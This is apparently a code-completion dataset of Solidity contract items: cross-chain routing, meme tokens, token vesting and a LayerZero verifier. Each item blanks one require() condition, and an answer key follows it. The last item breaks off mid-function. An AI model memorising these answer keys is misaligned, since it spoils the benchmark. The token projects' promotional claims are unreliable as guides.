modifier isHandler() {
}
modifier isLinkUnSet(uint8 _chainID) {
}
modifier isLinkSet(uint8 _chainID) {
}
modifier isLinkSync(uint8 _srcChainID, address _srcAddress) {
require(<FILL_ME>)
_;
}
modifier isSelf() {
}
constructor(address _handler) {
}
/// @notice Used to set linker address, this function is internal and can only be set by contract owner or admins
/// @param _addr Address of linker.
function setLink(address _addr) internal {
}
/// @notice Used to set fee Token address, this function is internal and can only be set by contract owner or admins
/// @param _addr Address of linker.
function setFeeToken(address _addr) internal {
}
function fetchHandler() external view override returns (address) {
}
function fetchLinkSetter() external view override returns (address) {
}
function fetchLink(uint8 _chainID)
external
view
override
returns (address)
{
}
function fetchFeeToken() external view override returns (address) {
}
function fetchExecutes(bytes32 hash)
external
view
override
returns (ExecutesStruct memory)
{
}
/// @notice routerSend This is internal function to generate a cross chain communication request.
/// @param destChainId Destination ChainID.
/// @param _selector Selector to interface on destination side.
/// @param _data Data to be sent on Destination side.
/// @param _gasLimit Gas limit provided for cross chain send.
/// @param _gasPrice Gas price provided for cross chain send.
function routerSend(
uint8 destChainId,
bytes4 _selector,
bytes memory _data,
uint256 _gasLimit,
uint256 _gasPrice
) internal isLinkSet(destChainId) returns (bool) {
}
function emitCrossTalkSendEvent(
uint8 destChainId,
bytes4 selector,
bytes memory data,
bytes32 hash
) private {
}
function routerSync(
uint8 srcChainID,
address srcAddress,
bytes memory data
)
external
override
isLinkSync(srcChainID, srcAddress)
isHandler
returns (bool, bytes memory)
{
}
function routerReplay(
bytes32 hash,
uint256 _gasLimit,
uint256 _gasPrice
) internal {
}
/// @notice _hash This is internal function to generate the hash of all data sent or received by the contract.
/// @param _destChainId Source ChainID.
/// @param _nonce Nonce.
function _hash(uint8 _destChainId, uint64 _nonce)
internal
pure
returns (bytes32)
{
}
function Link(uint8 _chainID, address _linkedContract)
external
override
isHandler
isLinkUnSet(_chainID)
{
}
function Unlink(uint8 _chainID)
external
override
isHandler
isLinkSet(_chainID)
{
}
function approveFees(address _feeToken, uint256 _value) internal {
}
/// @notice _routerSyncHandler This is internal function to control the handling of various selectors and its corresponding .
/// @param _selector Selector to interface.
/// @param _data Data to be handled.
function _routerSyncHandler(bytes4 _selector, bytes memory _data)
internal
virtual
returns (bool, bytes memory);
}
| Chain2Addr[_srcChainID]==_srcAddress,"RouterCrossTalk : Source Address Not linked" | 243,360 | Chain2Addr[_srcChainID]==_srcAddress |
"AntiMEV mode cannot be switched off!" | /**
Website: https://www.bubble-bean.com
Telegram: https://t.me/bubblebeanerc
Twitter: https://twitter.com/bubblebeanerc
Litepaper: https://bubble-bean.gitbook.io/bubble-bean-litepaper/
**/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Bubblebean is Context, IERC20, Ownable {
using SafeMath for uint256;
//Anti-MEV
uint256 public blockCooldown = 1;
mapping(address => uint256) private previousTradeBlock;
mapping (address => bool) private isContractExempt;
bool public enableAntiMEV = false;
string private constant _name = "Bubble Bean";
string private constant _symbol = "BUBB";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 690_000_000_000 * 10**_decimals;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 20;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 20;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(msg.sender);
address payable private _marketingAddress = payable(msg.sender);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen = false;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 13_800_000_000 * 10**_decimals; // 2%
uint256 public _maxWalletSize = 13_800_000_000 * 10**_decimals; // 2%
uint256 public _swapTokensAtAmount = 345_000_000 * 10**_decimals; // 0.05%
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
}
constructor() {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
}
function removeAllFee() private {
}
function restoreAllFee() private {
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
}
function _transfer(
address from,
address to,
uint256 amount
) private {
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function sendETHToFee(uint256 amount) private {
}
function setTrading(bool _tradingOpen) public onlyOwner {
}
function manualswap() external {
}
function manualsend() external {
}
function blockBots(address[] memory bots_) public onlyOwner {
}
function unblockBot(address notbot) public onlyOwner {
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _takeTeam(uint256 tTeam) private {
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function _getRate() private view returns (uint256) {
}
function _getCurrentSupply() private view returns (uint256, uint256) {
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
}
//Anti-MEV
function setContractExempt(address account, bool value) external onlyOwner {
}
function updateAntiMEV(bool value) external onlyOwner {
require(<FILL_ME>)
enableAntiMEV = value;
}
function setBlockCooldown(uint256 _value) external onlyOwner {
}
function isContract(address account) private view returns (bool) {
}
function checkIsContract(address _to, address _from) private view returns (address) {
}
function ensureMaxTxFrequency(address _wallet) view private {
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
}
}
| !enableAntiMEV,"AntiMEV mode cannot be switched off!" | 243,535 | !enableAntiMEV |
"Not enough balance to claim." | // SPDX-License-Identifier: UNLICENSED
/*
Game: https://game.fsgame.io/
Website: https://fsgame.io/
Twitter: https://twitter.com/ForgottenERC
Docs: https://docs.fsgame.io
TG: https://t.me/ForgottenSoulsChat
EVER WANTED TO PLAY GAMES AND MAKE MONEY? HERE'S YOUR CHANCE.
*/
pragma solidity 0.8.20;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol";
import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol";
contract ForgottenSouls is ERC20("Forgotten Souls", "SOULS"), Ownable {
// Uniswap variables
IUniswapV2Factory public constant UNISWAP_FACTORY =
IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f);
IUniswapV2Router02 public constant UNISWAP_ROUTER =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public immutable UNISWAP_V2_PAIR;
uint256 constant TOTAL_SUPPLY = 10_000_000 ether;
uint256 public tradingOpenedOnBlock;
bool private swapping;
address public soulWallet;
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
bool public fetchFees = true;
uint256 public maxBuyAmount;
uint256 public maxSellAmount;
uint256 public maxWalletAmount;
uint256 public tokenSwapThreshold;
uint256 public buyTotalFees;
uint256 public sellTotalFees;
uint256 public taxedTokens;
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) public _isExcludedMaxTransactionAmount;
mapping(address => bool) public whitelisted;
event EnabledTrading(bool tradingActive);
event RemovedLimits();
event ExcludeFromFees(address indexed account, bool isExcluded);
event UpdatedMaxBuyAmount(uint256 newAmount);
event UpdatedMaxSellAmount(uint256 newAmount);
event UpdatedMaxWalletAmount(uint256 newAmount);
event UpdatedsoulWallet(address indexed newWallet);
event MaxTransactionExclusion(address _address, bool excluded);
event Whitelisted(address indexed account, bool isWhitelisted);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
bool public claimEnable = true;
uint256 public claimTime = 86400;
uint256 public maxClaim = 5000;
uint256 public minBalance = 10_000 * 10 ** 18;
mapping(address => bool) public controller;
mapping(address => uint256) public claimDate;
constructor() {
}
receive() external payable {}
// Game functions
// CLAIM $SOULS REWARDS
function claimRewards(address _account, uint256 _amount) public {
require(claimEnable, "Claim is not active yet.");
require(<FILL_ME>)
uint256 claimRecord = claimDate[_account];
require((block.timestamp - claimRecord) >= claimTime, "Need to wait until your next claim.");
if (_amount > maxClaim) {
_amount = maxClaim;
}
super.transferFrom(soulWallet, _account, _amount * 10 ** 18);
claimDate[_account] = block.timestamp;
}
// SET MAX CLAIM
function setMaxClaim(uint256 _amount) public {
}
// SET CLAIM TIME
function setClaimTime(uint256 _time) public {
}
// MIN BALANCE TO CLAIM
function setMinBalance(uint256 _amount) public {
}
// CLAIM STATE
function setClaimState(bool _state) public {
}
// ADD CONTROLLER
function setController(address _account) public {
}
// Uniswap functions
function updateMaxBuyAmount(uint256 newNum) external onlyOwner {
}
function updateMaxSellAmount(uint256 newNum) external onlyOwner {
}
function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
}
function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner {
}
function removeLimits() external onlyOwner {
}
function _excludeFromMaxTransaction(
address updAds,
bool isExcluded
) private {
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
}
function openTrading() public onlyOwner {
}
function setsoulWallet(address _soulWallet) external onlyOwner {
}
function getFees() internal {
}
function setNewFees(uint256 newBuyFees, uint256 newSellFees) external onlyOwner {
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function swapBack() private {
}
function withdrawStuckToken(address _token) external {
}
function withdrawStuckEth() external onlyOwner {
}
function updateWhitelist(address account, bool isWhitelisted) external onlyOwner {
}
}
| balanceOf(_account)>=minBalance,"Not enough balance to claim." | 243,602 | balanceOf(_account)>=minBalance |
"Need to wait until your next claim." | // SPDX-License-Identifier: UNLICENSED
/*
Game: https://game.fsgame.io/
Website: https://fsgame.io/
Twitter: https://twitter.com/ForgottenERC
Docs: https://docs.fsgame.io
TG: https://t.me/ForgottenSoulsChat
EVER WANTED TO PLAY GAMES AND MAKE MONEY? HERE'S YOUR CHANCE.
*/
pragma solidity 0.8.20;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol";
import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol";
contract ForgottenSouls is ERC20("Forgotten Souls", "SOULS"), Ownable {
// Uniswap variables
IUniswapV2Factory public constant UNISWAP_FACTORY =
IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f);
IUniswapV2Router02 public constant UNISWAP_ROUTER =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public immutable UNISWAP_V2_PAIR;
uint256 constant TOTAL_SUPPLY = 10_000_000 ether;
uint256 public tradingOpenedOnBlock;
bool private swapping;
address public soulWallet;
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
bool public fetchFees = true;
uint256 public maxBuyAmount;
uint256 public maxSellAmount;
uint256 public maxWalletAmount;
uint256 public tokenSwapThreshold;
uint256 public buyTotalFees;
uint256 public sellTotalFees;
uint256 public taxedTokens;
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) public _isExcludedMaxTransactionAmount;
mapping(address => bool) public whitelisted;
event EnabledTrading(bool tradingActive);
event RemovedLimits();
event ExcludeFromFees(address indexed account, bool isExcluded);
event UpdatedMaxBuyAmount(uint256 newAmount);
event UpdatedMaxSellAmount(uint256 newAmount);
event UpdatedMaxWalletAmount(uint256 newAmount);
event UpdatedsoulWallet(address indexed newWallet);
event MaxTransactionExclusion(address _address, bool excluded);
event Whitelisted(address indexed account, bool isWhitelisted);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
bool public claimEnable = true;
uint256 public claimTime = 86400;
uint256 public maxClaim = 5000;
uint256 public minBalance = 10_000 * 10 ** 18;
mapping(address => bool) public controller;
mapping(address => uint256) public claimDate;
constructor() {
}
receive() external payable {}
// Game functions
// CLAIM $SOULS REWARDS
function claimRewards(address _account, uint256 _amount) public {
require(claimEnable, "Claim is not active yet.");
require(balanceOf(_account) >= minBalance, "Not enough balance to claim.");
uint256 claimRecord = claimDate[_account];
require(<FILL_ME>)
if (_amount > maxClaim) {
_amount = maxClaim;
}
super.transferFrom(soulWallet, _account, _amount * 10 ** 18);
claimDate[_account] = block.timestamp;
}
// SET MAX CLAIM
function setMaxClaim(uint256 _amount) public {
}
// SET CLAIM TIME
function setClaimTime(uint256 _time) public {
}
// MIN BALANCE TO CLAIM
function setMinBalance(uint256 _amount) public {
}
// CLAIM STATE
function setClaimState(bool _state) public {
}
// ADD CONTROLLER
function setController(address _account) public {
}
// Uniswap functions
function updateMaxBuyAmount(uint256 newNum) external onlyOwner {
}
function updateMaxSellAmount(uint256 newNum) external onlyOwner {
}
function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
}
function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner {
}
function removeLimits() external onlyOwner {
}
function _excludeFromMaxTransaction(
address updAds,
bool isExcluded
) private {
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
}
function openTrading() public onlyOwner {
}
function setsoulWallet(address _soulWallet) external onlyOwner {
}
function getFees() internal {
}
function setNewFees(uint256 newBuyFees, uint256 newSellFees) external onlyOwner {
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function swapBack() private {
}
function withdrawStuckToken(address _token) external {
}
function withdrawStuckEth() external onlyOwner {
}
function updateWhitelist(address account, bool isWhitelisted) external onlyOwner {
}
}
| (block.timestamp-claimRecord)>=claimTime,"Need to wait until your next claim." | 243,602 | (block.timestamp-claimRecord)>=claimTime |
"vesting is already created" | // SPDX-License-Identifier: MIT
//
//
// UI:
//
// - function "createVesting" ===================================> [address] Create Vesting. Can be called only one by contract deployer
// - function "claim" ===========================================> [uint] Provide vesting index from 0 to 7. Can be called only owner of exact vesting.
// - struct "vesting" ===========================================> [index] Provide vesting index from 0 to 7. Show full information about exact vesting.
//
//
// DEPLOYMENT:
//
// - Depoloy contract with no arguments
// - Use function createVesting for create vesting and begin vesting timer and provide those addresses:
// address team, teamPrivateSale, advisors, marketing, NFTHolders, liquidity, treasury, stakingReward
//
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/access/Ownable.sol";
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function mint(address _to, uint _amount) external;
}
contract SuperYachtCoinVesting is Ownable {
// -------------------------------------------------------------------------------------------------------
// ------------------------------- VESTING PARAMETERS
// -------------------------------------------------------------------------------------------------------
uint constant ONE_MONTH = 30 days;
bool public vestingIsCreated;
mapping(uint => Vesting) public vesting;
IERC20 public token;
// @notice provide full information of exact vesting
struct Vesting {
address owner; //The only owner can call vesting claim function
uint claimCounter; //Currect claim number
uint totalClaimNum; //Maximum amount of claims for this vesting
uint nextUnlockDate; //Next date of tokens unlock
uint tokensRemaining; //Remain amount of token
uint tokenToUnclockPerMonth; //Amount of token can be uncloked each month
}
constructor(IERC20 _token) {
}
// @notice only contract deployer can call this method and only once
function createVesting(
address _teamWallet,
address _teamPrivateSaleWallet,
address _advisorsWallet,
address _marketingWallet,
address _NFTHoldersWallet,
address _liquidityWallet,
address _treasuryWallet,
address _stakingRewardWallet
) public onlyOwner
{
require(<FILL_ME>)
vestingIsCreated = true;
vesting[0] = Vesting(_teamWallet, 0, 12, block.timestamp + 360 days, 96_000_000 ether, 4_000_000 ether);
vesting[1] = Vesting(_teamPrivateSaleWallet, 0, 6, block.timestamp + 180 days, 28_000_000 ether, 4_666_667 ether);
vesting[2] = Vesting(_advisorsWallet, 0, 12, block.timestamp + 360 days, 24_000_000 ether, 2_000_000 ether);
vesting[3] = Vesting(_marketingWallet, 0, 48, block.timestamp + ONE_MONTH, 112_000_000 ether, 2_333_333 ether);
vesting[4] = Vesting(_NFTHoldersWallet, 0, 6, block.timestamp + ONE_MONTH, 44_000_000 ether, 7_333_333 ether);
vesting[5] = Vesting(_liquidityWallet, 0, 12, block.timestamp + ONE_MONTH, 135_000_000 ether, 11_250_000 ether);
vesting[6] = Vesting(_treasuryWallet, 0, 48, block.timestamp + ONE_MONTH, 193_800_000 ether, 4_037_500 ether);
vesting[7] = Vesting(_stakingRewardWallet, 0, 48, block.timestamp + ONE_MONTH, 300_000_000 ether, 6_250_000 ether);
token.mint(_teamPrivateSaleWallet, 7_000_000 ether);
token.mint(_NFTHoldersWallet, 11_000_000 ether);
token.mint(_liquidityWallet, 15_000_000 ether);
token.mint(_treasuryWallet, 34_200_000 ether);
}
modifier checkLock(uint _index) {
}
// @notice please use _index from table below
//
// 0 - Team
// 1 - Team Private Sale
// 2 - Advisors
// 3 - Marketing
// 4 - NFT Holders
// 5 - Liquidity
// 6 - Treasury
// 7 - Staking Reward
//
function claim(uint256 _index) public checkLock(_index) {
}
}
| !vestingIsCreated,"vesting is already created" | 243,665 | !vestingIsCreated |
"Not an owner of this vesting" | // SPDX-License-Identifier: MIT
//
//
// UI:
//
// - function "createVesting" ===================================> [address] Create Vesting. Can be called only one by contract deployer
// - function "claim" ===========================================> [uint] Provide vesting index from 0 to 7. Can be called only owner of exact vesting.
// - struct "vesting" ===========================================> [index] Provide vesting index from 0 to 7. Show full information about exact vesting.
//
//
// DEPLOYMENT:
//
// - Depoloy contract with no arguments
// - Use function createVesting for create vesting and begin vesting timer and provide those addresses:
// address team, teamPrivateSale, advisors, marketing, NFTHolders, liquidity, treasury, stakingReward
//
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/access/Ownable.sol";
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function mint(address _to, uint _amount) external;
}
contract SuperYachtCoinVesting is Ownable {
// -------------------------------------------------------------------------------------------------------
// ------------------------------- VESTING PARAMETERS
// -------------------------------------------------------------------------------------------------------
uint constant ONE_MONTH = 30 days;
bool public vestingIsCreated;
mapping(uint => Vesting) public vesting;
IERC20 public token;
// @notice provide full information of exact vesting
struct Vesting {
address owner; //The only owner can call vesting claim function
uint claimCounter; //Currect claim number
uint totalClaimNum; //Maximum amount of claims for this vesting
uint nextUnlockDate; //Next date of tokens unlock
uint tokensRemaining; //Remain amount of token
uint tokenToUnclockPerMonth; //Amount of token can be uncloked each month
}
constructor(IERC20 _token) {
}
// @notice only contract deployer can call this method and only once
function createVesting(
address _teamWallet,
address _teamPrivateSaleWallet,
address _advisorsWallet,
address _marketingWallet,
address _NFTHoldersWallet,
address _liquidityWallet,
address _treasuryWallet,
address _stakingRewardWallet
) public onlyOwner
{
}
modifier checkLock(uint _index) {
require(<FILL_ME>)
require(block.timestamp > vesting[_index].nextUnlockDate, "Tokens are still locked");
require(vesting[_index].tokensRemaining > 0, "Nothing to claim");
_;
}
// @notice please use _index from table below
//
// 0 - Team
// 1 - Team Private Sale
// 2 - Advisors
// 3 - Marketing
// 4 - NFT Holders
// 5 - Liquidity
// 6 - Treasury
// 7 - Staking Reward
//
function claim(uint256 _index) public checkLock(_index) {
}
}
| vesting[_index].owner==msg.sender,"Not an owner of this vesting" | 243,665 | vesting[_index].owner==msg.sender |
"Nothing to claim" | // SPDX-License-Identifier: MIT
//
//
// UI:
//
// - function "createVesting" ===================================> [address] Create Vesting. Can be called only one by contract deployer
// - function "claim" ===========================================> [uint] Provide vesting index from 0 to 7. Can be called only owner of exact vesting.
// - struct "vesting" ===========================================> [index] Provide vesting index from 0 to 7. Show full information about exact vesting.
//
//
// DEPLOYMENT:
//
// - Depoloy contract with no arguments
// - Use function createVesting for create vesting and begin vesting timer and provide those addresses:
// address team, teamPrivateSale, advisors, marketing, NFTHolders, liquidity, treasury, stakingReward
//
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/access/Ownable.sol";
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function mint(address _to, uint _amount) external;
}
contract SuperYachtCoinVesting is Ownable {
// -------------------------------------------------------------------------------------------------------
// ------------------------------- VESTING PARAMETERS
// -------------------------------------------------------------------------------------------------------
uint constant ONE_MONTH = 30 days;
bool public vestingIsCreated;
mapping(uint => Vesting) public vesting;
IERC20 public token;
// @notice provide full information of exact vesting
struct Vesting {
address owner; //The only owner can call vesting claim function
uint claimCounter; //Currect claim number
uint totalClaimNum; //Maximum amount of claims for this vesting
uint nextUnlockDate; //Next date of tokens unlock
uint tokensRemaining; //Remain amount of token
uint tokenToUnclockPerMonth; //Amount of token can be uncloked each month
}
constructor(IERC20 _token) {
}
// @notice only contract deployer can call this method and only once
function createVesting(
address _teamWallet,
address _teamPrivateSaleWallet,
address _advisorsWallet,
address _marketingWallet,
address _NFTHoldersWallet,
address _liquidityWallet,
address _treasuryWallet,
address _stakingRewardWallet
) public onlyOwner
{
}
modifier checkLock(uint _index) {
require(vesting[_index].owner == msg.sender, "Not an owner of this vesting");
require(block.timestamp > vesting[_index].nextUnlockDate, "Tokens are still locked");
require(<FILL_ME>)
_;
}
// @notice please use _index from table below
//
// 0 - Team
// 1 - Team Private Sale
// 2 - Advisors
// 3 - Marketing
// 4 - NFT Holders
// 5 - Liquidity
// 6 - Treasury
// 7 - Staking Reward
//
function claim(uint256 _index) public checkLock(_index) {
}
}
| vesting[_index].tokensRemaining>0,"Nothing to claim" | 243,665 | vesting[_index].tokensRemaining>0 |
"Verifier: caller must be self" | // SPDX-License-Identifier: BUSL-1.1
pragma solidity ^0.8.19;
import "@layerzerolabs/lz-evm-v1-0.8/contracts/interfaces/ILayerZeroUltraLightNodeV2.sol";
import "../Worker.sol";
import "./MultiSig.sol";
import "./interfaces/IVerifier.sol";
import "./interfaces/IVerifierFeeLib.sol";
import "./interfaces/IUltraLightNode.sol";
import {DeliveryState} from "../MessageLibBase.sol";
struct ExecuteParam {
uint32 vid;
address target;
bytes callData;
uint expiration;
bytes signatures;
}
contract VerifierNetwork is Worker, MultiSig, IVerifier {
// to uniquely identify this VerifierNetwork instance
// set to endpoint v1 eid if available OR endpoint v2 eid % 30_000
uint32 public immutable vid;
mapping(uint32 dstEid => DstConfig) public dstConfig;
mapping(bytes32 executableHash => bool used) public usedHashes;
event VerifySignaturesFailed(uint idx);
event ExecuteFailed(uint _index, bytes _data);
event HashAlreadyUsed(ExecuteParam param, bytes32 _hash);
event VerifierFeePaid(uint fee);
// ========================= Constructor =========================
/// @dev VerifierNetwork doesn't have a roleAdmin (address(0x0))
/// @dev Supports all of ULNv2, ULN301, ULN302 and more
/// @param _messageLibs array of message lib addresses that are granted the MESSAGE_LIB_ROLE
/// @param _priceFeed price feed address
/// @param _signers array of signer addresses for multisig
/// @param _quorum quorum for multisig
/// @param _admins array of admin addresses that are granted the ADMIN_ROLE
constructor(
uint32 _vid,
address[] memory _messageLibs,
address _priceFeed,
address[] memory _signers,
uint64 _quorum,
address[] memory _admins
) Worker(_messageLibs, _priceFeed, 12000, address(0x0), _admins) MultiSig(_signers, _quorum) {
}
// ========================= Modifier =========================
/// @dev depending on role, restrict access to only self or admin
/// @dev ALLOWLIST, DENYLIST, MESSAGE_LIB_ROLE can only be granted/revoked by self
/// @dev ADMIN_ROLE can only be granted/revoked by admin
/// @dev reverts if not one of the above roles
/// @param _role role to check
modifier onlySelfOrAdmin(bytes32 _role) {
if (_role == ALLOWLIST || _role == DENYLIST || _role == MESSAGE_LIB_ROLE) {
// self required
require(<FILL_ME>)
} else if (_role == ADMIN_ROLE) {
// admin required
_checkRole(ADMIN_ROLE);
} else {
revert("Verifier: invalid role");
}
_;
}
modifier onlySelf() {
}
// ========================= OnlySelf =========================
/// @dev set signers for multisig
/// @dev function sig 0x31cb6105
/// @param _signer signer address
/// @param _active true to add, false to remove
function setSigner(address _signer, bool _active) external onlySelf {
}
/// @dev set quorum for multisig
/// @dev function sig 0x8585c945
/// @param _quorum to set
function setQuorum(uint64 _quorum) external onlySelf {
}
/// @dev one function to verify and deliver to ULN302 and more (does not support ULN301)
/// @dev if last verifier, can use this function to save overhead gas on deliver
/// @dev function sig 0xb724b133
/// @param _uln IUltraLightNode compatible contract
/// @param _packetHeader packet header
/// @param _payloadHash payload hash
/// @param _confirmations block confirmations
function verifyAndDeliver(
IUltraLightNode _uln,
bytes calldata _packetHeader,
bytes32 _payloadHash,
uint64 _confirmations
) external onlySelf {
}
// ========================= OnlySelf / OnlyAdmin =========================
/// @dev overrides AccessControl to allow self/admin to grant role'
/// @dev function sig 0x2f2ff15d
/// @param _role role to grant
/// @param _account account to grant role to
function grantRole(bytes32 _role, address _account) public override onlySelfOrAdmin(_role) {
}
/// @dev overrides AccessControl to allow self/admin to revoke role
/// @dev function sig 0xd547741f
/// @param _role role to revoke
/// @param _account account to revoke role from
function revokeRole(bytes32 _role, address _account) public override onlySelfOrAdmin(_role) {
}
// ========================= OnlyQuorum =========================
// @notice function for quorum to change admin without going through execute function
// @dev calldata in the case is abi.encode new admin address
function quorumChangeAdmin(ExecuteParam calldata _param) external {
}
// ========================= OnlyAdmin =========================
/// @param _params array of DstConfigParam
function setDstConfig(DstConfigParam[] calldata _params) external onlyRole(ADMIN_ROLE) {
}
/// @dev takes a list of instructions and executes them in order
/// @dev if any of the instructions fail, it will emit an error event and continue to execute the rest of the instructions
/// @param _params array of ExecuteParam, includes target, callData, expiration, signatures
function execute(ExecuteParam[] calldata _params) external onlyRole(ADMIN_ROLE) {
}
/// @dev to support ULNv2
/// @dev the withdrawFee function for ULN30X is built in the Worker contract
/// @param _lib message lib address
/// @param _to address to withdraw to
/// @param _amount amount to withdraw
function withdrawFeeFromUlnV2(address _lib, address payable _to, uint _amount) external onlyRole(ADMIN_ROLE) {
}
// ========================= OnlyMessageLib =========================
/// @dev for ULN301, ULN302 and more to assign job
/// @dev verifier network can reject job from _sender by adding/removing them from allowlist/denylist
/// @param _param assign job param
/// @param _options verifier options
function assignJob(
AssignJobParam calldata _param,
bytes calldata _options
) external payable onlyRole(MESSAGE_LIB_ROLE) onlyAcl(_param.sender) returns (uint totalFee) {
}
/// @dev to support ULNv2
/// @dev verifier network can reject job from _sender by adding/removing them from allowlist/denylist
/// @param _dstEid destination EndpointId
/// @param //_outboundProofType outbound proof type
/// @param _confirmations block confirmations
/// @param _sender message sender address
function assignJob(
uint16 _dstEid,
uint16 /*_outboundProofType*/,
uint64 _confirmations,
address _sender
